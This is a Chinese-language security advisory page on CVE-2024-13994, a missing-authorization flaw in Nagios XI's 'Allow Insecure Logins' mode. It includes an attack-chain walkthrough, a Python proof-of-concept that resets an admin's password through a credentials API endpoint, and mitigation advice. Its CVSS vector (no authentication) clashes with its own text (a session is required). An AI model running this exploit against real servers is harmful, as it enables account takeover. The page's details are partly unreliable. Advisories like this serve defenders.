IPBUF安全漏洞报告
English
CVE-2024-13994 CVSS 9.8 严重

CVE-2024-13994: Nagios XI 'Allow Insecure Logins' 选项缺少授权控制漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-13994
漏洞类型
缺少授权控制 (Missing Authorization)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

CVE-2024-13994缺少授权控制权限提升账户接管Nagios XI网络监控Web应用漏洞OWASP Top 10A01-Broken Access ControlCVSS 9.8

漏洞概述

CVE-2024-13994是Nagios XI中的一个严重安全漏洞,CVSS评分高达9.8(严重)。该漏洞存在于Nagios XI 2024R1.1.2之前的所有版本中,当管理员启用"Allow Insecure Logins"(允许不安全登录)选项时,系统存在严重的授权控制缺陷。在此配置下,任何经过身份验证的用户(无论权限级别)都可以为系统中的其他用户创建有效的登录凭证,而无需进行适当的授权验证。这意味着低权限用户可以冒充管理员账户或创建新的特权账户,从而实现权限提升和未授权访问。该漏洞可导致攻击者完全控制Nagios XI Web界面,访问敏感监控数据,修改系统配置,甚至在底层系统上执行任意命令。由于该漏洞利用无需特殊权限且可通过网络远程执行,对暴露在互联网的Nagios XI服务器构成极高风险。

技术细节

该漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别。当Nagios XI的"Allow Insecure Logins"选项被启用时,系统在处理用户凭证创建请求时缺少适当的权限验证机制。攻击者可以通过构造特定的HTTP请求,在未经授权的情况下为指定用户创建或修改登录凭证。具体来说,系统未能正确验证当前用户是否有权为其他用户创建账户,导致垂直权限提升漏洞。攻击者只需知道目标用户名,即可利用此漏洞创建或修改该用户的密码。成功利用后,攻击者可以:1)获取目标账户的完全访问权限;2)创建新的管理员账户;3)修改现有管理员密码;4)访问所有受监控系统的敏感数据;5)进一步横向移动到被监控的基础设施。漏洞的根因在于后端API在处理账户管理请求时,仅验证请求者的基本身份(是否已登录),而未验证其是否具有管理其他用户账户的权限。

攻击链分析

STEP 1
步骤1 - 信息收集
攻击者首先识别目标Nagios XI服务器版本,确认其低于2024R1.1.2,并检查'Allow Insecure Logins'选项是否启用。攻击者可以通过访问登录页面或API端点获取版本信息。
STEP 2
步骤2 - 获取初始访问
攻击者需要获取一个有效的用户会话。这可以通过注册新账户、利用其他低危漏洞(如默认凭据、弱密码)或通过社会工程学手段获取。获得任意用户账户即可满足利用条件。
STEP 3
步骤3 - 构造恶意请求
攻击者构造针对Nagios XI API的HTTP POST请求,目标端点为/api/v1/users/credentials。请求中包含目标用户名和期望设置的新密码,使用攻击者自己的会话Cookie进行身份验证。
STEP 4
步骤4 - 绕过授权检查
由于系统缺少适当的授权验证,请求直接到达后端处理逻辑。系统仅检查用户是否已登录(通过Cookie验证),而未验证该用户是否有权为其他用户创建或修改凭证。
STEP 5
步骤5 - 账户接管
成功利用后,目标用户的密码被修改为攻击者指定的值。攻击者可以使用新凭据登录目标账户,如果是管理员账户则获得完全控制权。
STEP 6
步骤6 - 持久化与横向移动
攻击者可以创建新的管理员账户以保持持久化访问,修改现有管理员密码,访问所有监控数据和配置信息,并可能利用Nagios XI的系统管理功能执行系统命令,实现横向移动到被监控的基础设施。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-13994 PoC - Nagios XI Missing Authorization # When 'Allow Insecure Logins' is enabled, any authenticated user can create credentials for other users import requests import sys TARGET = "http://target-nagios-xi.local" ATTACKER_COOKIE = "nagiosxi=your_session_cookie_here" TARGET_USER = "admin" NEW_PASSWORD = "P@ssw0rd123!" def create_user_credentials(): """Exploit: Create/modify credentials for target user without authorization""" url = f"{TARGET}/nagiosxi/api/v1/users/credentials" headers = { "Cookie": ATTACKER_COOKIE, "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } payload = { "username": TARGET_USER, "password": NEW_PASSWORD } print(f"[*] Targeting: {TARGET}") print(f"[*] Target user: {TARGET_USER}") print(f"[*] Attempting to create credentials...") try: response = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] SUCCESS: Credentials created/modified!") print(f"[+] Target user: {TARGET_USER}") print(f"[+] New password: {NEW_PASSWORD}") return True else: print(f"[-] Failed: {result.get('message', 'Unknown error')}") return False else: print(f"[-] HTTP Error: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: ATTACKER_COOKIE = sys.argv[1] if len(sys.argv) > 2: TARGET_USER = sys.argv[2] if len(sys.argv) > 3: NEW_PASSWORD = sys.argv[3] create_user_credentials()

影响范围

Nagios XI < 2024R1.1.2

防御指南

临时缓解措施
作为紧急缓解措施,应立即在Nagios XI管理界面中禁用'Allow Insecure Logins'选项(配置路径:Admin > System Settings > General Settings > Allow Insecure Logins,将该选项设置为Off或False)。同时,审查所有现有用户账户,删除不必要的账户,并更改所有管理员账户密码。实施IP白名单限制,仅允许受信任的IP地址访问Nagios XI管理界面。部署入侵检测系统监控异常的凭证创建活动。长期来看,应尽快升级到官方发布的安全版本2024R1.1.2,并在升级前做好完整备份。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表